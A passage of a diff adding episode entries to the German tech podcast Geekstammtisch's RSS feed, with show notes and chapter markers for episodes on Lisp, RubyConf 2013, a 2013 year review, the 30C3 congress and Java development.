+<li>Auch für Common Lisp ist &quot;Land of Lisp&quot; von Conrad Barski (<a href="http://www.amazon.de/Land-Lisp-Learn-Program-Game/dp/1593272812/ref=sr_1_1?s=books-intl-de&amp;ie=UTF8&amp;qid=1382353124&amp;sr=1-1&amp;keywords=The+land+of+lisp">http://www.amazon.de/Land-Lisp-Learn-Program-Game/dp/1593272812/ref=sr_1_1?s=books-intl-de&amp;ie=UTF8&amp;qid=1382353124&amp;sr=1-1&amp;keywords=The+land+of+lisp</a>)</li>
+<li>Für Scheme sieht es da eher düster aus. Hauptwerk ist &quot;Structure and Interpretation of Computer Programs&quot; (<a href="http://www.amazon.de/Structure-Interpretation-Computer-Electrical-Engineering/dp/0262510871/ref=sr_1_1?s=books-intl-de&amp;ie=UTF8&amp;qid=1382353230&amp;sr=1-1&amp;keywords=Structure+and+Interpretation+of+Computer+Programs">http://www.amazon.de/Structure-Interpretation-Computer-Electrical-Engineering/dp/0262510871/ref=sr_1_1?s=books-intl-de&amp;ie=UTF8&amp;qid=1382353230&amp;sr=1-1&amp;keywords=Structure+and+Interpretation+of+Computer+Programs</a>) was sehr akademisch ist. Weil es das ehemalige Lehrbuch des MIT ist.</li>
+<li>Von den Vorlesungen (Anfang der 80er) gibt es sogar noch Videoaufzeichnungen</li>
+</ul></li>
+<li>Usergroups in Köln:
+
+<ul>
+<li>Cologne Clojure: <a href="http://www.meetup.com/clojure-cologne">http://www.meetup.com/clojure-cologne</a> (gibt aber auch was anderes als Clojure), Treffen in der Bottmühle</li>
+<li>Moritz wollte mal eine Gruppe machen für Sprachen die eigentlich keine Rolle spielen , ähnlich der FringeDC von Conrad Barski (gibt es aber auch nicht mehr)</li>
+</ul></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST025" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro" />
+
+ <psc:chapter start="00:01:15" title="Unser Gast" />
+
+ <psc:chapter start="00:05:55" title="Informatik an den Schulen" />
+
+ <psc:chapter start="00:10:58" title="Von Ruby zu Lisp" />
+
+ <psc:chapter start="00:14:23" title="Elixir" />
+
+ <psc:chapter start="00:25:30" title="Lisp, eine Historie" />
+
+ <psc:chapter start="00:56:17" title="Lisp in der Praxis" />
+
+ <psc:chapter start="01:15:55" title="EuroClojure" />
+
+ <psc:chapter start="01:30:41" title="Getting Started" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST026 - RubyConf 2013</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Post-Berichterstattung zur RubyConf 2013 mit Lucas Dohmen</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst026.mp3" length="59345519" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST026</guid>
+ <pubDate>Mon, 25 Nov 2013 11:19:48 +0100</pubDate>
+ <itunes:duration>01:22:03</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis:** Lucas und Dirk waren auf der RubyConf in Miami Beach. Wir
+berichten von ihren Eindrücken und es gibt natürlich die ein oder andere
+Empfehlung für einen Vortrag. Darüber hinaus diskutieren wir über die Inhalte einiger Talks.
+Insgesamt ist die Folge leider ein bisschen durcheinander, trotzdem viel Spaß beim hören.
+
+### Intro (00:00:00)
+
+* Wir trinken Mühlen Kölsch! http://www.muehlenkoelsch.de/
+* Der Lucas ist dabei! Und es ist das fünfte mal :)
+ * http://geekstammtisch.de/#GST006
+ * http://geekstammtisch.de/#GST008
+ * http://geekstammtisch.de/#GST013
+ * http://geekstammtisch.de/#GST021
+* RubyConf 2013 Miami Beach: http://rubyconf.org/
+* Heutiger Titelsong: Miami Vice: http://en.wikipedia.org/wiki/Miami_Vice
+
+### Exkurs: Letzter Geekstammtich über Lisp (00:02:35)
+
+* Allgemein gutes Feedback und Lucas fand es auch gut
+* JavaScript Lisp Implementationen (von @DerGuteMoritz): http://ceaude.twoticketsplease.de/js-lisps.html
+* Hygienische Makros: http://en.wikipedia.org/wiki/Hygienic_macro
+
+### RubyConf (00:04:15)
+
+* Dirk und Lucas waren da!
+* Comic-Con in San Diego: http://www.comic-con.org/
+* Die Location war ganz cool, WiFi leider nicht so
+* RubyConf Schedule gibt es hier in einer Ãœbersicht: http://rubyconf.org/schedule
+
+### Allgemeines (00:07:00)
+
+* Talks wurden gestreamt
+* Videos gibt es gegen Ende November
+* Dirk und Lucas müssen auch noch Talks schauen (3 Tracks ist halt zu viel)
+* Anfangs gab es im Schedule keine Angabe der Speaker; wurde dann aber nachgetragen
+
+### Talks, Talks, Talks (00:09:25)
+
+* The Big Picture (Jim Weirich): http://rubyconf.org/program#jim-weirich
+* Keynote Tag 1 von Matz über Phantasie Land, Außenwahrnehmung, Wahrnehmung, eher verwirrend... also, wie immer :)
+* That's Not Very Ruby of You (Keynote Tag 3), Ernie Miller: http://rubyconf.org/program#ernie-miller
+* My KidsRuby Journey (Keynote Tag 2), PJ & Katie Hagerty: http://rubyconf.org/program#pj-katie-hagerty
+* Es gab viel zu Ruby 2.1 (kommt am 25.12.2013)
+* Object management on Ruby 2.1, Koichi Sasada: http://rubyconf.org/program#koichi-sasada
+* Neue C-API für Garbage Collection: Es wird diesmal weniger auf Kompatibilität geachtet und mehr auf Effizienz
+* Allgemein ist es recht schwer Ruby radikal weiterzuentwickeln
+* Kurz Thema bei der abschließenden Fragerunde mit Matz: Rubinius X und Ruby
+
+### JRuby (00:34:29)
+
+* Nächster Release wird definitiv JRuby 9000 heißen
+* Vorstellung eines verbesserten Entwicklungsprozesses
+* Talk von Tom Enebo und Charles Nutter: http://rubyconf.org/program#tomenebo-charles-nutter
+* Überlegungen ob Java 6 Unterstützung mit dem nächsten Release entfernt wird, abhängig von Community-Feedback
+* Sehr viel aufräumen innerhalb der Code-Basis, vor allem viel wird viel gelöscht ^^
+* Keine News zu FFI, aber da ist ja eh wieder alles in Ordnung: https://github.com/ffi/ffi/issues/288
+* In JRuby soll kein FFI verwendet, sondern die native Java-Bibliothek (wie etwa nokogiri)
+* Release von JRuby 9000 im ersten Quartal 2014
+* Insgesamt hatte der Talk aber wenig neues gegenüber den bisherigen Talks diesen Jahres
+* Viel interessanter zu JRuby war aber ein Gespräch mit einem der Sponsoren: Money Desktop, http://www.moneydesktop.com
+ * Mehrere hundert Server mit JRuby
+ * Extrem parallel
+ * Protocol Buffers (https://code.google.com/p/protobuf/) Serialisierungsformat
+ * PCI-compliant (http://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard) und trotzdem nahezu kontinuierliches Deployment (10-20/Tag)
+
+### ArangoDB auf der RubyConf (00:47:55)
+
+* Lucas hat einen Lightning Talk gehalten: Hamster und Graphen - https://speakerdeck.com/moonglum/graphs-plus-hamsters
+* Es um das Graphenfeature von ArangoDB, erklärt am Beispiel von einem Hamster, der sein Futter in seinem Bau zählen muss
+* Das Thema gab es kurz vorher auch auf der NoSQL Usergroup in Köln: http://www.nosql-cologne.org/2013/10/07/26th-meeting-november/
+* Graphtraversal API ist noch nicht in im Ruby-Treiber integriert
+* Graphtraversal ist in ArangoDB in Javascript implementiert, daher kann man sie nicht einfach von mruby aus ansprechen
+
+### Und noch mehr interessante Talks (00:53:40)
+
+* Ruby-Core Dilemmas von Marc-André Lafortune: http://rubyconf.org/program#marcandré-lafortune
+* Basti und Dirk kannten das Backport nicht: http://rubygems.org/gems/backports
+* Entwicklung von Backport gegen RubySpec (http://rubyspec.org)
+* "Es ist ein Bug oder Feature, wenn Matz sagt es ist ein Bug oder Feature"
+* Im Grunde sollte er dafür auch Geld nehmen (für Pro-User)
+* "The tricky truth about parallel execution and modern hardware": http://rubyconf.org/program#dirkjan-bussink
+* Insgesamt zu kurze Pausen (10 min) zwischen den Talks
+
+### Abendveranstaltung und RailsGirls (00:59:27)
+
+* Keine offiziellen Abendveranstaltung
+* Am Tag vor der RubyConf waren RailsGirls, die alle kostenlos zur Konferenz konnten
+ * Dadurch recht viele Frauen
+ * Guter Lightning Talk von einer Teilnehmerin adressiert an Mentoren
+ * Passend zu dem Thema von Floor Drees: http://floordrees.tumblr.com/post/58784746482/what-i-learned-learning-rails-becoming-a-better
+* Am zweiten Abend haben Lucas und Dirk das Boardgame Meeting leider verpasst :-(
+
+### Und noch mehr Talks (01:03:26)
+
+* Der Talk von Jim Weirich zu UML: http://rubyconf.org/program#jim-weirich
+ * UML ist nicht immer schlecht, es gibt auch sinnvolle Anwednungsfälle ^^
+* Von Andrew Havens - Build your own Ruby-powered Arcade Machine! (http://rubyconf.org/program#andrew-havens)
+ * Erste Hälfte super, wie baut man sich sein eigenes Arcade
+ * Zweite Hälfte, völlig wirr und durcheinander
+* Wir sprechen keine nicht-Empfehlungen aus
+* Dirk fand den Talk von Stephen Henrie zum Thema Thrift und AMQP ganz gut: http://rubyconf.org/program#stephen-henrie
+* Lucas war nicht begeistert
+* Aber wir einigen uns drauf, dass er eine gute Diskussionsgrundlage ist ;-)
+* Talk von Matt Aimonetti mit abschließendem Panel: http://rubyconf.org/program#matt-aimonetti-bryan-helmkamp-bryan-liles
+ * These: Es gibt keinen schlechten Code
+ * Wir sind uns einig, dass es auf jeden Fall schlechten Code gibt ;-)
+ * Nach Bryan Helmkamp (https://codeclimate.com) ist der beste Code nicht eine 4,0 sondern eine 3,2
+ * Wir fragen uns, warum das bei Code Climate dann nicht so abgebildet wird
+
+### Tipps zu Miami Beach (01:17:46)
+
+* Panther Coffee: http://www.panthercoffee.com
+* Vielen Dank an Bryce für die Empfehlung: https://twitter.com/BonzoESC
+* Beer and Burger Joint: http://www.bnbjoint.com - Gutes Bier und gute Burger
+* Ein Trip zum Kennedy Space Center lohnt sich auch: http://www.kennedyspacecenter.com
+* Das Home Office Cologne sucht noch Nachmieter und verkauft immer noch Teile der Einrichtung]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis:</strong> Lucas und Dirk waren auf der RubyConf in Miami Beach. Wir
+berichten von ihren Eindrücken und es gibt natürlich die ein oder andere
+Empfehlung für einen Vortrag. Darüber hinaus diskutieren wir über die Inhalte einiger Talks.
+Insgesamt ist die Folge leider ein bisschen durcheinander, trotzdem viel Spaß beim hören.</p>
+
+<h3>Intro (00:00:00)</h3>
+
+<ul>
+<li>Wir trinken Mühlen Kölsch! <a href="http://www.muehlenkoelsch.de/">http://www.muehlenkoelsch.de/</a></li>
+<li>Der Lucas ist dabei! Und es ist das fünfte mal :)
+
+<ul>
+<li><a href="http://geekstammtisch.de/#GST006">http://geekstammtisch.de/#GST006</a></li>
+<li><a href="http://geekstammtisch.de/#GST008">http://geekstammtisch.de/#GST008</a></li>
+<li><a href="http://geekstammtisch.de/#GST013">http://geekstammtisch.de/#GST013</a></li>
+<li><a href="http://geekstammtisch.de/#GST021">http://geekstammtisch.de/#GST021</a></li>
+</ul></li>
+<li>RubyConf 2013 Miami Beach: <a href="http://rubyconf.org/">http://rubyconf.org/</a></li>
+<li>Heutiger Titelsong: Miami Vice: <a href="http://en.wikipedia.org/wiki/Miami_Vice">http://en.wikipedia.org/wiki/Miami_Vice</a></li>
+</ul>
+
+<h3>Exkurs: Letzter Geekstammtich über Lisp (00:02:35)</h3>
+
+<ul>
+<li>Allgemein gutes Feedback und Lucas fand es auch gut</li>
+<li>JavaScript Lisp Implementationen (von <a href="https://twitter.com/DerGuteMoritz">@DerGuteMoritz</a>): <a href="http://ceaude.twoticketsplease.de/js-lisps.html">http://ceaude.twoticketsplease.de/js-lisps.html</a></li>
+<li>Hygienische Makros: <a href="http://en.wikipedia.org/wiki/Hygienic_macro">http://en.wikipedia.org/wiki/Hygienic_macro</a></li>
+</ul>
+
+<h3>RubyConf (00:04:15)</h3>
+
+<ul>
+<li>Dirk und Lucas waren da!</li>
+<li>Comic-Con in San Diego: <a href="http://www.comic-con.org/">http://www.comic-con.org/</a></li>
+<li>Die Location war ganz cool, WiFi leider nicht so</li>
+<li>RubyConf Schedule gibt es hier in einer Ãœbersicht: <a href="http://rubyconf.org/schedule">http://rubyconf.org/schedule</a></li>
+</ul>
+
+<h3>Allgemeines (00:07:00)</h3>
+
+<ul>
+<li>Talks wurden gestreamt</li>
+<li>Videos gibt es gegen Ende November</li>
+<li>Dirk und Lucas müssen auch noch Talks schauen (3 Tracks ist halt zu viel)</li>
+<li>Anfangs gab es im Schedule keine Angabe der Speaker; wurde dann aber nachgetragen</li>
+</ul>
+
+<h3>Talks, Talks, Talks (00:09:25)</h3>
+
+<ul>
+<li>The Big Picture (Jim Weirich): <a href="http://rubyconf.org/program#jim-weirich">http://rubyconf.org/program#jim-weirich</a></li>
+<li>Keynote Tag 1 von Matz über Phantasie Land, Außenwahrnehmung, Wahrnehmung, eher verwirrend... also, wie immer :)</li>
+<li>That&#39;s Not Very Ruby of You (Keynote Tag 3), Ernie Miller: <a href="http://rubyconf.org/program#ernie-miller">http://rubyconf.org/program#ernie-miller</a></li>
+<li>My KidsRuby Journey (Keynote Tag 2), PJ &amp; Katie Hagerty: <a href="http://rubyconf.org/program#pj-katie-hagerty">http://rubyconf.org/program#pj-katie-hagerty</a></li>
+<li>Es gab viel zu Ruby 2.1 (kommt am 25.12.2013)</li>
+<li>Object management on Ruby 2.1, Koichi Sasada: <a href="http://rubyconf.org/program#koichi-sasada">http://rubyconf.org/program#koichi-sasada</a></li>
+<li>Neue C-API für Garbage Collection: Es wird diesmal weniger auf Kompatibilität geachtet und mehr auf Effizienz</li>
+<li>Allgemein ist es recht schwer Ruby radikal weiterzuentwickeln</li>
+<li>Kurz Thema bei der abschließenden Fragerunde mit Matz: Rubinius X und Ruby</li>
+</ul>
+
+<h3>JRuby (00:34:29)</h3>
+
+<ul>
+<li>Nächster Release wird definitiv JRuby 9000 heißen</li>
+<li>Vorstellung eines verbesserten Entwicklungsprozesses</li>
+<li>Talk von Tom Enebo und Charles Nutter: <a href="http://rubyconf.org/program#tomenebo-charles-nutter">http://rubyconf.org/program#tomenebo-charles-nutter</a></li>
+<li>Überlegungen ob Java 6 Unterstützung mit dem nächsten Release entfernt wird, abhängig von Community-Feedback</li>
+<li>Sehr viel aufräumen innerhalb der Code-Basis, vor allem viel wird viel gelöscht ^^</li>
+<li>Keine News zu FFI, aber da ist ja eh wieder alles in Ordnung: <a href="https://github.com/ffi/ffi/issues/288">https://github.com/ffi/ffi/issues/288</a></li>
+<li>In JRuby soll kein FFI verwendet, sondern die native Java-Bibliothek (wie etwa nokogiri)</li>
+<li>Release von JRuby 9000 im ersten Quartal 2014</li>
+<li>Insgesamt hatte der Talk aber wenig neues gegenüber den bisherigen Talks diesen Jahres</li>
+<li>Viel interessanter zu JRuby war aber ein Gespräch mit einem der Sponsoren: Money Desktop, <a href="http://www.moneydesktop.com">http://www.moneydesktop.com</a>
+
+<ul>
+<li>Mehrere hundert Server mit JRuby</li>
+<li>Extrem parallel</li>
+<li>Protocol Buffers (<a href="https://code.google.com/p/protobuf/">https://code.google.com/p/protobuf/</a>) Serialisierungsformat</li>
+<li>PCI-compliant (<a href="http://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard">http://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard</a>) und trotzdem nahezu kontinuierliches Deployment (10-20/Tag)</li>
+</ul></li>
+</ul>
+
+<h3>ArangoDB auf der RubyConf (00:47:55)</h3>
+
+<ul>
+<li>Lucas hat einen Lightning Talk gehalten: Hamster und Graphen - <a href="https://speakerdeck.com/moonglum/graphs-plus-hamsters">https://speakerdeck.com/moonglum/graphs-plus-hamsters</a></li>
+<li>Es um das Graphenfeature von ArangoDB, erklärt am Beispiel von einem Hamster, der sein Futter in seinem Bau zählen muss</li>
+<li>Das Thema gab es kurz vorher auch auf der NoSQL Usergroup in Köln: <a href="http://www.nosql-cologne.org/2013/10/07/26th-meeting-november/">http://www.nosql-cologne.org/2013/10/07/26th-meeting-november/</a></li>
+<li>Graphtraversal API ist noch nicht in im Ruby-Treiber integriert</li>
+<li>Graphtraversal ist in ArangoDB in Javascript implementiert, daher kann man sie nicht einfach von mruby aus ansprechen</li>
+</ul>
+
+<h3>Und noch mehr interessante Talks (00:53:40)</h3>
+
+<ul>
+<li>Ruby-Core Dilemmas von Marc-André Lafortune: <a href="http://rubyconf.org/program#marcandr%C3%A9-lafortune">http://rubyconf.org/program#marcandré-lafortune</a></li>
+<li>Basti und Dirk kannten das Backport nicht: <a href="http://rubygems.org/gems/backports">http://rubygems.org/gems/backports</a></li>
+<li>Entwicklung von Backport gegen RubySpec (<a href="http://rubyspec.org">http://rubyspec.org</a>)</li>
+<li>&quot;Es ist ein Bug oder Feature, wenn Matz sagt es ist ein Bug oder Feature&quot;</li>
+<li>Im Grunde sollte er dafür auch Geld nehmen (für Pro-User)</li>
+<li>&quot;The tricky truth about parallel execution and modern hardware&quot;: <a href="http://rubyconf.org/program#dirkjan-bussink">http://rubyconf.org/program#dirkjan-bussink</a></li>
+<li>Insgesamt zu kurze Pausen (10 min) zwischen den Talks</li>
+</ul>
+
+<h3>Abendveranstaltung und RailsGirls (00:59:27)</h3>
+
+<ul>
+<li>Keine offiziellen Abendveranstaltung</li>
+<li>Am Tag vor der RubyConf waren RailsGirls, die alle kostenlos zur Konferenz konnten
+
+<ul>
+<li>Dadurch recht viele Frauen</li>
+<li>Guter Lightning Talk von einer Teilnehmerin adressiert an Mentoren</li>
+<li>Passend zu dem Thema von Floor Drees: <a href="http://floordrees.tumblr.com/post/58784746482/what-i-learned-learning-rails-becoming-a-better">http://floordrees.tumblr.com/post/58784746482/what-i-learned-learning-rails-becoming-a-better</a></li>
+</ul></li>
+<li>Am zweiten Abend haben Lucas und Dirk das Boardgame Meeting leider verpasst :-(</li>
+</ul>
+
+<h3>Und noch mehr Talks (01:03:26)</h3>
+
+<ul>
+<li>Der Talk von Jim Weirich zu UML: <a href="http://rubyconf.org/program#jim-weirich">http://rubyconf.org/program#jim-weirich</a>
+
+<ul>
+<li>UML ist nicht immer schlecht, es gibt auch sinnvolle Anwednungsfälle ^^</li>
+</ul></li>
+<li>Von Andrew Havens - Build your own Ruby-powered Arcade Machine! (<a href="http://rubyconf.org/program#andrew-havens">http://rubyconf.org/program#andrew-havens</a>)
+
+<ul>
+<li>Erste Hälfte super, wie baut man sich sein eigenes Arcade</li>
+<li>Zweite Hälfte, völlig wirr und durcheinander</li>
+</ul></li>
+<li>Wir sprechen keine nicht-Empfehlungen aus</li>
+<li>Dirk fand den Talk von Stephen Henrie zum Thema Thrift und AMQP ganz gut: <a href="http://rubyconf.org/program#stephen-henrie">http://rubyconf.org/program#stephen-henrie</a></li>
+<li>Lucas war nicht begeistert</li>
+<li>Aber wir einigen uns drauf, dass er eine gute Diskussionsgrundlage ist ;-)</li>
+<li>Talk von Matt Aimonetti mit abschließendem Panel: <a href="http://rubyconf.org/program#matt-aimonetti-bryan-helmkamp-bryan-liles">http://rubyconf.org/program#matt-aimonetti-bryan-helmkamp-bryan-liles</a>
+
+<ul>
+<li>These: Es gibt keinen schlechten Code</li>
+<li>Wir sind uns einig, dass es auf jeden Fall schlechten Code gibt ;-)</li>
+<li>Nach Bryan Helmkamp (<a href="https://codeclimate.com">https://codeclimate.com</a>) ist der beste Code nicht eine 4,0 sondern eine 3,2</li>
+<li>Wir fragen uns, warum das bei Code Climate dann nicht so abgebildet wird</li>
+</ul></li>
+</ul>
+
+<h3>Tipps zu Miami Beach (01:17:46)</h3>
+
+<ul>
+<li>Panther Coffee: <a href="http://www.panthercoffee.com">http://www.panthercoffee.com</a></li>
+<li>Vielen Dank an Bryce für die Empfehlung: <a href="https://twitter.com/BonzoESC">https://twitter.com/BonzoESC</a></li>
+<li>Beer and Burger Joint: <a href="http://www.bnbjoint.com">http://www.bnbjoint.com</a> - Gutes Bier und gute Burger</li>
+<li>Ein Trip zum Kennedy Space Center lohnt sich auch: <a href="http://www.kennedyspacecenter.com">http://www.kennedyspacecenter.com</a></li>
+<li>Das Home Office Cologne sucht noch Nachmieter und verkauft immer noch Teile der Einrichtung</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST026" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro" />
+
+ <psc:chapter start="00:02:35" title="Exkurs: Letzter Geekstammtich über Lisp" />
+
+ <psc:chapter start="00:04:15" title="RubyConf" />
+
+ <psc:chapter start="00:07:00" title="Allgemeines" />
+
+ <psc:chapter start="00:09:25" title="Talks, Talks, Talks" />
+
+ <psc:chapter start="00:34:29" title="JRuby" />
+
+ <psc:chapter start="00:47:55" title="ArangoDB auf der RubyConf" />
+
+ <psc:chapter start="00:53:40" title="Und noch mehr interessante Talks" />
+
+ <psc:chapter start="00:59:27" title="Abendveranstaltung und RailsGirls" />
+
+ <psc:chapter start="01:03:26" title="Und noch mehr Talks" />
+
+ <psc:chapter start="01:17:46" title="Tipps zu Miami Beach" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST027 - Jahresrückblick 2013</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Der (kleine) Geekstammtisch Jahresrückblick 2013</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst027.mp3" length="9368201" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST027</guid>
+ <pubDate>Fri, 20 Dec 2013 17:16:52 +0100</pubDate>
+ <itunes:duration>00:12:41</itunes:duration>
+ <itunes:summary><![CDATA[Vorsicht! Diese Folge ist sehr meta! Wir ziehen ein kleines Resümee des letzten Jahres Geekstammtisch und sagen an, dass wir auch nächstes Jahr weitermachen werden :)
+
+Wir bedanken uns bei allen Hörern für die Aufmerksamkeit, das tolle Feedback und das Flattern und wünschen frohe Weihnachten und einen guten Rutsch!]]></itunes:summary>
+ <description><![CDATA[<p>Vorsicht! Diese Folge ist sehr meta! Wir ziehen ein kleines Resümee des letzten Jahres Geekstammtisch und sagen an, dass wir auch nächstes Jahr weitermachen werden :)</p>
+
+<p>Wir bedanken uns bei allen Hörern für die Aufmerksamkeit, das tolle Feedback und das Flattern und wünschen frohe Weihnachten und einen guten Rutsch!</p>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST027" />
+
+
+ <psc:chapters>
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST028 - Sprachlos auf dem 30C3</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Essy, Lucas, Tobias, Bodo, Dirk und Basti berichten ihre Eindrücke vom 30C3</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst028.mp3" length="34263997" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST028</guid>
+ <pubDate>Mon, 30 Dec 2013 15:43:01 +0100</pubDate>
+ <itunes:duration>00:47:15</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis:** Das zweite Joint Venture der @nerdkunde (ohne Klaus, mit Bodo)
+und des @geekstammtisch (mit allen) live und in Farbe vom 30. Chaos
+Communication Congress (30C3) aus dem @Sendezentrum. Wir geben einen kurzen
+persönlichen Rundblick über die letzten vier Tage Kongress. Vielen Dank an das
+Sendezentrum für die Bereitstellung des Equipments und Ralf (@rstockm) für die
+super Betreuung!
+
+### Eröffnung (00:00:00)
+
+* Intro (http://vimeo.com/82903406)
+* Nerdkunde-Style: Wie geht es uns? Bitte jeder einmal kurz seine Eindrücke zum Congress
+* Eröffnungsveranstaltung mit Tim Pritlove und super Video (https://events.ccc.de/congress/2013/Fahrplan/events/5605.html)
+* Wir sind beeindruckt von der Atmosphäre
+
+### Unsere Top-7 (00:07:53)
+
+* Even More Tamagotchis Were Harmed in the Making of this Presentation: https://events.ccc.de/congress/2013/Fahrplan/events/5279.html
+* My journey into FM-RDS: https://events.ccc.de/congress/2013/Fahrplan/events/5588.html
+* Fnord News Show mit Frank und Fefe: https://events.ccc.de/congress/2013/Fahrplan/events/5714.html
+* Die Keynote mit Glenn Greenwald: https://events.ccc.de/congress/2013/Fahrplan/speakers/4428.html
+* Bullshit made in Germany mit Linus Neumann: https://events.ccc.de/congress/2013/Fahrplan/events/5210.html
+* Seeing The Secret State: Six Landscapes von Trevor Paglen: https://events.ccc.de/congress/2013/Fahrplan/events/5604.html
+* Seidenstraße und How to build your own bottle paket LEDs: https://events.ccc.de/congress/2013/Fahrplan/events/5610.html
+ * Bild: https://twitter.com/bitboxer/status/417628749841313792/photo/1/large
+* Detaillierte Ãœbersicht / Interviews zum Congress: Die Sondersendung: http://die-sondersendung.de/30c3
+
+### So long and thank you for all the ~~fish~~mate (00:44:07)
+
+* Danke an den CCC, alle Engel und die Orga für eine großartigen Congress]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis:</strong> Das zweite Joint Venture der <a href="https://twitter.com/nerdkunde">@nerdkunde</a> (ohne Klaus, mit Bodo)
+und des <a href="https://twitter.com/geekstammtisch">@geekstammtisch</a> (mit allen) live und in Farbe vom 30. Chaos
+Communication Congress (30C3) aus dem <a href="https://twitter.com/Sendezentrum">@Sendezentrum</a>. Wir geben einen kurzen
+persönlichen Rundblick über die letzten vier Tage Kongress. Vielen Dank an das
+Sendezentrum für die Bereitstellung des Equipments und Ralf (<a href="https://twitter.com/rstockm">@rstockm</a>) für die
+super Betreuung!</p>
+
+<h3>Eröffnung (00:00:00)</h3>
+
+<ul>
+<li>Intro (<a href="http://vimeo.com/82903406">http://vimeo.com/82903406</a>)</li>
+<li>Nerdkunde-Style: Wie geht es uns? Bitte jeder einmal kurz seine Eindrücke zum Congress</li>
+<li>Eröffnungsveranstaltung mit Tim Pritlove und super Video (<a href="https://events.ccc.de/congress/2013/Fahrplan/events/5605.html">https://events.ccc.de/congress/2013/Fahrplan/events/5605.html</a>)</li>
+<li>Wir sind beeindruckt von der Atmosphäre</li>
+</ul>
+
+<h3>Unsere Top-7 (00:07:53)</h3>
+
+<ul>
+<li>Even More Tamagotchis Were Harmed in the Making of this Presentation: <a href="https://events.ccc.de/congress/2013/Fahrplan/events/5279.html">https://events.ccc.de/congress/2013/Fahrplan/events/5279.html</a></li>
+<li>My journey into FM-RDS: <a href="https://events.ccc.de/congress/2013/Fahrplan/events/5588.html">https://events.ccc.de/congress/2013/Fahrplan/events/5588.html</a></li>
+<li>Fnord News Show mit Frank und Fefe: <a href="https://events.ccc.de/congress/2013/Fahrplan/events/5714.html">https://events.ccc.de/congress/2013/Fahrplan/events/5714.html</a></li>
+<li>Die Keynote mit Glenn Greenwald: <a href="https://events.ccc.de/congress/2013/Fahrplan/speakers/4428.html">https://events.ccc.de/congress/2013/Fahrplan/speakers/4428.html</a></li>
+<li>Bullshit made in Germany mit Linus Neumann: <a href="https://events.ccc.de/congress/2013/Fahrplan/events/5210.html">https://events.ccc.de/congress/2013/Fahrplan/events/5210.html</a></li>
+<li>Seeing The Secret State: Six Landscapes von Trevor Paglen: <a href="https://events.ccc.de/congress/2013/Fahrplan/events/5604.html">https://events.ccc.de/congress/2013/Fahrplan/events/5604.html</a></li>
+<li>Seidenstraße und How to build your own bottle paket LEDs: <a href="https://events.ccc.de/congress/2013/Fahrplan/events/5610.html">https://events.ccc.de/congress/2013/Fahrplan/events/5610.html</a>
+
+<ul>
+<li>Bild: <a href="https://twitter.com/bitboxer/status/417628749841313792/photo/1/large">https://twitter.com/bitboxer/status/417628749841313792/photo/1/large</a></li>
+</ul></li>
+<li>Detaillierte Ãœbersicht / Interviews zum Congress: Die Sondersendung: <a href="http://die-sondersendung.de/30c3">http://die-sondersendung.de/30c3</a></li>
+</ul>
+
+<h3>So long and thank you for all the ~~fish~~mate (00:44:07)</h3>
+
+<ul>
+<li>Danke an den CCC, alle Engel und die Orga für eine großartigen Congress</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST028" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Eröffnung" />
+
+ <psc:chapter start="00:07:53" title="Unsere Top-7" />
+
+ <psc:chapter start="00:44:07" title="So long and thank you for all the (fish)mate" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST029 - Die JVM ist ein Erfolgsmodell</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Wir sprachen mit Matthias Richter über die Freuden der Java-Entwicklung</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst029.mp3" length="77778628" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST029</guid>
+ <pubDate>Tue, 28 Jan 2014 13:19:21 +0100</pubDate>
+ <itunes:duration>01:47:38</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis:** Matthias ist Softwareentwickler und erzählt uns wie er jahrelang
+Java im Telko-Sektor gemacht hat. Vor einem Jahr hat er dann die Branche und
+die auch die Größe des Unternehmens radikal geändert und macht nun
+Produktentwicklung in der Logistikbranche. Neben Java wird dort viel im
+Embedded-Bereich entwickelt und trotz eines kleinen Teams sind die Aufgaben
+sehr vielfältig. Seit neuestem wird Software nun auch mit JRuby und AngularJS
+umgesetzt. Wir erfahren über die damit verbundenen Herausforderungen und wie
+damit umgegangen wurde.
+
+
+### Einleitung & GST-Meta (00:00:00)
+
+ * Matthias Richter (@mr_samma) ist heute unser Gast
+ * GST019 mit Stefan Schiffer "Weg von .NET & Windows": http://geekstammtisch.de/#GST019
